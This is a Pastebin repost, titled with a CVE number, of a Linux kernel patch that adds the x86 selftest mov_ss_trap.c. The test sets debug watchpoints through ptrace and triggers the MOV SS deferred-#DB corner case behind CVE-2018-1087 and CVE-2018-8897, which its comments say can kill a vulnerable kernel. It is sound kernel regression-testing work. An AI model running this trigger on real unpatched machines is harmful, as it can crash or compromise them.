Advertisement
LNVoid

CVE-2018-8897

May 8th, 2018
142
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. From patchwork Tue May  8 17:28:35 2018
  2. Content-Type: text/plain; charset="utf-8"
  3. MIME-Version: 1.0
  4. Content-Transfer-Encoding: 7bit
  5. Subject: selftests/x86: Add mov_to_ss
  6. From: Andrew Lutomirski <luto@kernel.org>
  7. X-Patchwork-Id: 10386677
  8. Message-Id: <67e08b69817171da8026e0eb3af0214b06b4d74f.1525800455.git.luto@kernel.org>
  9. To: x86@kernel.org, LKML <linux-kernel@vger.kernel.org>,
  10.  Linus Torvalds <torvalds@linux-foundation.org>
  11. Cc: Borislav Petkov <bp@alien8.de>, Andy Lutomirski <luto@kernel.org>
  12. Date: Tue,  8 May 2018 10:28:35 -0700
  13.  
  14. This exercises a nasty corner case of the x86 ISA.
  15.  
  16. Signed-off-by: Andy Lutomirski <luto@kernel.org>
  17. ---
  18.  tools/testing/selftests/x86/Makefile      |   2 +-
  19.  tools/testing/selftests/x86/mov_ss_trap.c | 285 ++++++++++++++++++++++
  20.  2 files changed, 286 insertions(+), 1 deletion(-)
  21.  create mode 100644 tools/testing/selftests/x86/mov_ss_trap.c
  22.  
  23. diff --git a/tools/testing/selftests/x86/Makefile b/tools/testing/selftests/x86/Makefile
  24. index d744991c0f4f..39f66bc29b82 100644
  25. --- a/tools/testing/selftests/x86/Makefile
  26. +++ b/tools/testing/selftests/x86/Makefile
  27. @@ -11,7 +11,7 @@ CAN_BUILD_X86_64 := $(shell ./check_cc.sh $(CC) trivial_64bit_program.c)
  28.  
  29.  TARGETS_C_BOTHBITS := single_step_syscall sysret_ss_attrs syscall_nt test_mremap_vdso \
  30.             check_initial_reg_state sigreturn iopl mpx-mini-test ioperm \
  31. -           protection_keys test_vdso test_vsyscall
  32. +           protection_keys test_vdso test_vsyscall mov_ss_trap
  33.  TARGETS_C_32BIT_ONLY := entry_from_vm86 syscall_arg_fault test_syscall_vdso unwind_vdso \
  34.             test_FCMOV test_FCOMI test_FISTTP \
  35.             vdso_restorer
  36. diff --git a/tools/testing/selftests/x86/mov_ss_trap.c b/tools/testing/selftests/x86/mov_ss_trap.c
  37. new file mode 100644
  38. index 000000000000..3c3a022654f3
  39. --- /dev/null
  40. +++ b/tools/testing/selftests/x86/mov_ss_trap.c
  41. @@ -0,0 +1,285 @@
  42. /* SPDX-License-Identifier: GPL-2.0 */
  43. /*
  44.  * mov_ss_trap.c: Exercise the bizarre side effects of a watchpoint on MOV SS
  45.  *
  46.  * This does MOV SS from a watchpointed address followed by various
  47.  * types of kernel entries.  A MOV SS that hits a watchpoint will queue
  48.  * up a #DB trap but will not actually deliver that trap.  The trap
  49.  * will be delivered after the next instruction instead.  The CPU's logic
  50.  * seems to be:
  51.  *
  52.  *  - Any fault: drop the pending #DB trap.
  53.  *  - INT $N, INT3, INTO, SYSCALL, SYSENTER: enter the kernel and then
  54.  *    deliver #DB.
  55.  *  - ICEBP: enter the kernel but do not deliver the watchpoint trap
  56.  *  - breakpoint: only one #DB is delivered (phew!)
  57.  *
  58.  * There are plenty of ways for a kernel to handle this incorrectly.  This
  59.  * test tries to exercise all the cases.
  60.  *
  61.  * This should mostly cover CVE-2018-1087 and CVE-2018-8897.
  62.  */
  63. #define _GNU_SOURCE
  64.  
  65. #include <stdlib.h>
  66. #include <sys/ptrace.h>
  67. #include <sys/types.h>
  68. #include <sys/wait.h>
  69. #include <sys/user.h>
  70. #include <sys/syscall.h>
  71. #include <unistd.h>
  72. #include <errno.h>
  73. #include <stddef.h>
  74. #include <stdio.h>
  75. #include <err.h>
  76. #include <string.h>
  77. #include <setjmp.h>
  78. #include <sys/prctl.h>
  79.  
  80. #define X86_EFLAGS_RF (1UL << 16)
  81.  
  82. #if __x86_64__
  83. # define REG_IP REG_RIP
  84. #else
  85. # define REG_IP REG_EIP
  86. #endif
  87.  
  88. unsigned short ss;
  89. extern unsigned char breakpoint_insn[];
  90. sigjmp_buf jmpbuf;
  91. static unsigned char altstack_data[SIGSTKSZ];
  92.  
  93. static void enable_watchpoint(void)
  94. {
  95.     pid_t parent = getpid();
  96.     int status;
  97.  
  98.     pid_t child = fork();
  99.     if (child < 0)
  100.         err(1, "fork");
  101.  
  102.     if (child) {
  103.         if (waitpid(child, &status, 0) != child)
  104.             err(1, "waitpid for child");
  105.     } else {
  106.         unsigned long dr0, dr1, dr7;
  107.  
  108.         dr0 = (unsigned long)&ss;
  109.         dr1 = (unsigned long)breakpoint_insn;
  110.         dr7 = ((1UL << 1) | /* G0 */
  111.                (3UL << 16) |    /* RW0 = read or write */
  112.                (1UL << 18) |    /* LEN0 = 2 bytes */
  113.                (1UL << 3)); /* G1, RW1 = insn */
  114.  
  115.         if (ptrace(PTRACE_ATTACH, parent, NULL, NULL) != 0)
  116.             err(1, "PTRACE_ATTACH");
  117.  
  118.         if (waitpid(parent, &status, 0) != parent)
  119.             err(1, "waitpid for child");
  120.  
  121.         if (ptrace(PTRACE_POKEUSER, parent, (void *)offsetof(struct user, u_debugreg[0]), dr0) != 0)
  122.             err(1, "PTRACE_POKEUSER DR0");
  123.  
  124.         if (ptrace(PTRACE_POKEUSER, parent, (void *)offsetof(struct user, u_debugreg[1]), dr1) != 0)
  125.             err(1, "PTRACE_POKEUSER DR1");
  126.  
  127.         if (ptrace(PTRACE_POKEUSER, parent, (void *)offsetof(struct user, u_debugreg[7]), dr7) != 0)
  128.             err(1, "PTRACE_POKEUSER DR7");
  129.  
  130.         printf("\tDR0 = %lx, DR1 = %lx, DR7 = %lx\n", dr0, dr1, dr7);
  131.  
  132.         if (ptrace(PTRACE_DETACH, parent, NULL, NULL) != 0)
  133.             err(1, "PTRACE_DETACH");
  134.  
  135.         exit(0);
  136.     }
  137. }
  138.  
  139. static void sethandler(int sig, void (*handler)(int, siginfo_t *, void *),
  140.                int flags)
  141. {
  142.     struct sigaction sa;
  143.     memset(&sa, 0, sizeof(sa));
  144.     sa.sa_sigaction = handler;
  145.     sa.sa_flags = SA_SIGINFO | flags;
  146.     sigemptyset(&sa.sa_mask);
  147.     if (sigaction(sig, &sa, 0))
  148.         err(1, "sigaction");
  149. }
  150.  
  151. static char const * const signames[] = {
  152.     [SIGSEGV] = "SIGSEGV",
  153.     [SIGBUS] = "SIBGUS",
  154.     [SIGTRAP] = "SIGTRAP",
  155.     [SIGILL] = "SIGILL",
  156. };
  157.  
  158. static void sigtrap(int sig, siginfo_t *si, void *ctx_void)
  159. {
  160.     ucontext_t *ctx = ctx_void;
  161.  
  162.     printf("\tGot SIGTRAP with RIP=%lx, EFLAGS.RF=%d\n",
  163.            (unsigned long)ctx->uc_mcontext.gregs[REG_IP],
  164.            !!(ctx->uc_mcontext.gregs[REG_EFL] & X86_EFLAGS_RF));
  165. }
  166.  
  167. static void handle_and_return(int sig, siginfo_t *si, void *ctx_void)
  168. {
  169.     ucontext_t *ctx = ctx_void;
  170.  
  171.     printf("\tGot %s with RIP=%lx\n", signames[sig],
  172.            (unsigned long)ctx->uc_mcontext.gregs[REG_IP]);
  173. }
  174.  
  175. static void handle_and_longjmp(int sig, siginfo_t *si, void *ctx_void)
  176. {
  177.     ucontext_t *ctx = ctx_void;
  178.  
  179.     printf("\tGot %s with RIP=%lx\n", signames[sig],
  180.            (unsigned long)ctx->uc_mcontext.gregs[REG_IP]);
  181.  
  182.     siglongjmp(jmpbuf, 1);
  183. }
  184.  
  185. int main()
  186. {
  187.     unsigned long nr;
  188.  
  189.     asm volatile ("mov %%ss, %[ss]" : [ss] "=m" (ss));
  190.     printf("\tSS = 0x%hx, &SS = 0x%p\n", ss, &ss);
  191.  
  192.     if (prctl(PR_SET_PTRACER, PR_SET_PTRACER_ANY, 0, 0, 0) == 0)
  193.         printf("\tPR_SET_PTRACER_ANY succeeded\n");
  194.  
  195.     printf("\tSet up a watchpoint\n");
  196.     sethandler(SIGTRAP, sigtrap, 0);
  197.     enable_watchpoint();
  198.  
  199.     printf("[RUN]\tRead from watched memory (should get SIGTRAP)\n");
  200.     asm volatile ("mov %[ss], %[tmp]" : [tmp] "=r" (nr) : [ss] "m" (ss));
  201.  
  202.     printf("[RUN]\tMOV SS; INT3\n");
  203.     asm volatile ("mov %[ss], %%ss; int3" :: [ss] "m" (ss));
  204.  
  205.     printf("[RUN]\tMOV SS; INT 3\n");
  206.     asm volatile ("mov %[ss], %%ss; .byte 0xcd, 0x3" :: [ss] "m" (ss));
  207.  
  208.     printf("[RUN]\tMOV SS; CS CS INT3\n");
  209.     asm volatile ("mov %[ss], %%ss; .byte 0x2e, 0x2e; int3" :: [ss] "m" (ss));
  210.  
  211.     printf("[RUN]\tMOV SS; CSx14 INT3\n");
  212.     asm volatile ("mov %[ss], %%ss; .fill 14,1,0x2e; int3" :: [ss] "m" (ss));
  213.  
  214.     printf("[RUN]\tMOV SS; INT 4\n");
  215.     sethandler(SIGSEGV, handle_and_return, SA_RESETHAND);
  216.     asm volatile ("mov %[ss], %%ss; int $4" :: [ss] "m" (ss));
  217.  
  218. #ifdef __i386__
  219.     printf("[RUN]\tMOV SS; INTO\n");
  220.     sethandler(SIGSEGV, handle_and_return, SA_RESETHAND);
  221.     nr = -1;
  222.     asm volatile ("add $1, %[tmp]; mov %[ss], %%ss; into"
  223.               : [tmp] "+r" (nr) : [ss] "m" (ss));
  224. #endif
  225.  
  226.     if (sigsetjmp(jmpbuf, 1) == 0) {
  227.         printf("[RUN]\tMOV SS; ICEBP\n");
  228.  
  229.         /* Some emulators (e.g. QEMU TCG) don't emulate ICEBP. */
  230.         sethandler(SIGILL, handle_and_longjmp, SA_RESETHAND);
  231.  
  232.         asm volatile ("mov %[ss], %%ss; .byte 0xf1" :: [ss] "m" (ss));
  233.     }
  234.  
  235.     if (sigsetjmp(jmpbuf, 1) == 0) {
  236.         printf("[RUN]\tMOV SS; CLI\n");
  237.         sethandler(SIGSEGV, handle_and_longjmp, SA_RESETHAND);
  238.         asm volatile ("mov %[ss], %%ss; cli" :: [ss] "m" (ss));
  239.     }
  240.  
  241.     if (sigsetjmp(jmpbuf, 1) == 0) {
  242.         printf("[RUN]\tMOV SS; #PF\n");
  243.         sethandler(SIGSEGV, handle_and_longjmp, SA_RESETHAND);
  244.         asm volatile ("mov %[ss], %%ss; mov (-1), %[tmp]"
  245.                   : [tmp] "=r" (nr) : [ss] "m" (ss));
  246.     }
  247.  
  248.     /*
  249.      * INT $1: if #DB has DPL=3 and there isn't special handling,
  250.      * then the kernel will die.
  251.      */
  252.     if (sigsetjmp(jmpbuf, 1) == 0) {
  253.         printf("[RUN]\tMOV SS; INT 1\n");
  254.         sethandler(SIGSEGV, handle_and_longjmp, SA_RESETHAND);
  255.         asm volatile ("mov %[ss], %%ss; int $1" :: [ss] "m" (ss));
  256.     }
  257.  
  258. #ifdef __x86_64__
  259.     /*
  260.      * In principle, we should test 32-bit SYSCALL as well, but
  261.      * the calling convention is so unpredictable that it's
  262.      * not obviously worth the effort.
  263.      */
  264.     if (sigsetjmp(jmpbuf, 1) == 0) {
  265.         printf("[RUN]\tMOV SS; SYSCALL\n");
  266.         sethandler(SIGILL, handle_and_longjmp, SA_RESETHAND);
  267.         nr = SYS_getpid;
  268.         /*
  269.          * Toggle the high bit of RSP to make it noncanonical to
  270.          * strengthen this test on non-SMAP systems.
  271.          */
  272.         asm volatile ("btc $63, %%rsp\n\t"
  273.                   "mov %[ss], %%ss; syscall\n\t"
  274.                   "btc $63, %%rsp"
  275.                   : "+a" (nr) : [ss] "m" (ss)
  276.                   : "rcx"
  277. #ifdef __x86_64__
  278.                 , "r11"
  279. #endif
  280.             );
  281.     }
  282. #endif
  283.  
  284.     printf("[RUN]\tMOV SS; breakpointed NOP\n");
  285.     asm volatile ("mov %[ss], %%ss; breakpoint_insn: nop" :: [ss] "m" (ss));
  286.  
  287.     /*
  288.      * Invoking SYSENTER directly breaks all the rules.  Just handle
  289.      * the SIGSEGV.
  290.      */
  291.     if (sigsetjmp(jmpbuf, 1) == 0) {
  292.         printf("[RUN]\tMOV SS; SYSENTER\n");
  293.         stack_t stack = {
  294.             .ss_sp = altstack_data,
  295.             .ss_size = SIGSTKSZ,
  296.         };
  297.         if (sigaltstack(&stack, NULL) != 0)
  298.             err(1, "sigaltstack");
  299.         sethandler(SIGSEGV, handle_and_longjmp, SA_RESETHAND | SA_ONSTACK);
  300.         nr = SYS_getpid;
  301.         asm volatile ("mov %[ss], %%ss; SYSENTER" : "+a" (nr)
  302.                   : [ss] "m" (ss) : "flags", "rcx"
  303. #ifdef __x86_64__
  304.                 , "r11"
  305. #endif
  306.             );
  307.  
  308.         /* We're unreachable here.  SYSENTER forgets RIP. */
  309.     }
  310.  
  311.     if (sigsetjmp(jmpbuf, 1) == 0) {
  312.         printf("[RUN]\tMOV SS; INT $0x80\n");
  313.         sethandler(SIGSEGV, handle_and_longjmp, SA_RESETHAND);
  314.         nr = 20;    /* compat getpid */
  315.         asm volatile ("mov %[ss], %%ss; int $0x80"
  316.                   : "+a" (nr) : [ss] "m" (ss)
  317.                   : "flags"
  318. #ifdef __x86_64__
  319.                 , "r8", "r9", "r10", "r11"
  320. #endif
  321.             );
  322.     }
  323.  
  324.     printf("[OK]\tI aten't dead\n");
  325.     return 0;
  326. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement